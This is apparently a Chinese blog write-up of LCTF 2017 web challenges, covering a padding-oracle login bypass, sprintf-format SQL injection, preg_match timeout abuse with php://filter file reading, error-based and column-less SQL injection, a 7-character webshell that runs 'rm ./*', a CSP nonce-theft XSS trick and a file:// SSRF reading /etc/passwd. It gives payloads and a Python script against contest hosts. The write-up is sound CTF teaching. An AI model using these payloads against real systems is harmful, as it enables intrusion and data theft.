LCTF web write up

周末打一波LCTF,又被虐的不轻,昨天上了一天的课,晚上整理了一下,迟到的write up。

Simple blog

padding oracle attack

.login.php.swp拿到源码

<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show_page(){
    echo '<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Login Form</title>
  <link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
  <div class="login">
    <h1>后台登录</h1>
    <form method="post">
        <input type="text" name="username" placeholder="Username" required="required" />
        <input type="password" name="password" placeholder="Password" required="required" />
        <button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
    </form>
</div>
</body>
</html>
';
}

function get_random_token(){
    $random_token = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 16; $i++){
        $random_token .= substr($str, rand(1, 61), 1);
    }
    return $random_token;
}

function get_identity(){
    global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id === 'admin'){
        $_SESSION['isadmin'] = 1;
    }else{
        $_SESSION['isadmin'] = 0;
    }
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}

if(isset($_POST['username'])&&isset($_POST['password'])){
    $username = mysql_real_escape_string($_POST['username']);
    $password = $_POST['password'];
    $result = mysql_query("select password from users where username='" . $username . "'", $con);
    $row = mysql_fetch_array($result);
    if($row['password'] === md5($password)){
        get_identity();
        header('location: ./admin.php');
    }else{
        die('Login failed.');
    }
}else{
    if(test_identity()){
        header('location: ./admin.php');
    }else{
        show_page();
    }
}
?>

和njctf的一道题目比较相似,直接拿脚本来跑。

sprintf格式化字符串造成注入

成功进入后台后admin.php.swp得到再次得到源码

<?php
error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
    die('You are not admin');
}

if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['title'])){
        $title = mysql_real_escape_string($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['title'])&&isset($row['content'])){
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }else{
        die("This article does not exist.");
    }
}
?>

sprintf造成的问题https://paper.seebug.org/386/

接下来就是常规的注入了,没什么过滤,payload:

http://111.231.111.54/admin.php?id=-1&title=%251%24' union select 1,f14g,3 from `key`%23

萌萌哒报名系统

注册

首先访问.idea目录,得到备份文件xdcms2333.zip

看了一下,重点是register.php

<?php
    include('config.php');
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
    echo '<script>alert("register success");location.href="./index.html"</script>';

重点是下面两行代码,满足条件即可。

$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
/*blabla*/
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);

满屏的pdo,注入是没戏了,总结一下我知道的解法:

  1. 人品

    某表哥跑脚本注册了100个用户,其中一个真的满足条件了。。。我怀疑表哥一生中中彩票的机会在这给用了。

  2. 条件竞争

    比赛结束后交流发现很多师傅(包括我们)都用的这个方法。在做题过程中发现当注册的人数过多时,后台会清空数据库,来看index.php这段代码

    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
      $_SESSION['is_guest'] = true;
    }
    

    如果我们在清空数据库是仍然保持登录状态,上面这个判断就不会成立,自然就绕过检测了。当然我们也可以跑脚本注册大量用户来加速清空数据库的操作。

  3. 正解

    说了这么多,终于来到正解了。问题出在preg_match函数。

    pre_match在匹配的时候会消耗较大的资源,并且默认使用贪婪匹配。所以通过输入一个超长的字符串去给pre_match匹配,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

    直接写个脚本来跑吧

    import requests
    reg_url = 'http://123.206.120.239/register.php'
    login_url = 'http://123.206.120.239/login.php'
    index_url = 'http://123.206.120.239/member.php'
    s = requests.session()
    def register():
        global s
        data = {
            'username': 'seaii1',
            'password': '123456',
            'code': 'xdsec###' + 'A'*100000
        }
        s.post(reg_url, data=data)
    def login():
        global s
        data = {
            'username': 'seaii1',
            'password': '123456',
        }
     s.post(login_url, data=data)
    if __name__ == '__main__':
        register()
        login()
        r = s.get(index_url + '?file=php://filter/read=convert.base64-encode/resource=config.php')
        print (r.text)
    

伪协议读文件

member.php

$_SESSION['is_logined'] = true;
    if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
        
    }else{
        if(isset($_GET['file'])===false)
            echo "None";
        elseif(is_file($_GET['file']))
            echo "you cannot give me a file";
        else
            readfile($_GET['file']);
    }

payload

http://123.206.120.239/member.php?file=php://filter/read=convert.base64-encode/resource=config.php

解码即可得到flag。

"他们"有什么秘密呢?

手快拿了个一血,美滋滋~

访问http://182.254.246.93/entrance.php,查看源码获得提示。

mark

简单测试了一下,union,select啥的都没过滤,可以报错。但是informationtablecolumn等可以爆表爆列关键字被过滤了,而且过滤的很严格。

但是可以通过报错来获得表名、列名

表名

pro_id=1 and Polygon(pro_id)

之前积累的这个姿势被过滤了,在手册上寻找其他函数https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html#function_polygon,找到一个漏网之鱼。

pro_id=1 and LineString(pro_id)  

得到表名 product_2017ctf

列名

pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner,d067a0fa9dc61a6e))xxx)

得到列名pro_id,pro_name,owner,d067a0fa9dc61a6e。明显我们需要知道d067a0fa9dc61a6e的值,但是d067a0fa9dc61a6e被过滤了。

无列名注入

pro_id=-1 union select 1,d,3,4 from (select 1 a,2 b,3 c,4 d union select * from product_2017ctf limit 3,1)xxx

得到字段值为7195ca99696b5a896.php,进入下一关。

7字符限制获取webshell

从网上找了一个参考http://www.vuln.cn/6016,大体思路就是php代码

<?=`*`;

会将当前目录下所有文件的文件名放在一起当做一条命令执行。

首先删除保存文件目录下的index.html,他会影响命令的执行。

filename=bash&content=123
filename=command&content=rm ./*
filename=z.php&content=<?=`*`;

之后只要修改command文件的内容执行命令就可以了。

ls /获得flag文件名:327a6c4304ad5938eaf0efb6cc3e53dc.php

cat /3*得到flag:LCTF{n1ver_stop_nev2r_giveup}

wanna hack him? (未做出)

nonce

看题目,标准的xss页面,在preview.php看到设置了csp

mark

目前针对csp-nonce的攻击大致有两种

  1. 通过浏览器缓存来bypass CSP script nonce
  2. mark

但是似乎都不太适合这个题目,后来发现preview.php的nonce并不是随机的,隔一段时间才会变,推测admin_view.php也会是这样。然后就僵住了。。。

来看大佬wp,可以使用<img src='http://host/?nonce=来获取nonce,src属性的单引号会和后面的var test = 'test闭合,就可以拿到nonce了。思路不够灵活,姿势不够猥琐呀。

getflag

这里有一点小坑,拿到nonce之后手动提交payload的话bot可能访问不到,需要写脚本一次提交多条payload。

拓展-UXSS

后来看大佬wp说可以用uxss,第一次接触这个漏洞,惭愧。。。

首先是一篇科普通用跨站脚本攻击(UXSS)

接着是大佬的wp,写的很详细。

===================华丽的分割线===================

这两题都是ssrf,让我对ssrf有了更深的理解,详细的会更新到另一篇文章中。

(伪)签到题 (未做出)

fuzz发现://后面必须是www.baidu.com,前面必须是字母数字和.。也就是说我们可以指定协议,知识点来了:

curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件

还有一个点是要截断url末尾自动拼接的/,使用?当做get请求的参数,或者#变成锚点都可以。

payload:

file://www.baidu.com/etc/flag?

也可以先读/etc/passwd,有一个lctf用户,/home/lctf/下也有flag。。。

L PLAYGROUND (未做出)

这题官方wp写的很详细了,反正当时做的时候一脸懵逼。。。

https://github.com/LCTF/LCTF2017/blob/master/src/web/l-plarground/writeup.md

标签: web, lctf
评论列表
  1. 表哥~~真是六的一批啊~~~~

添加新评论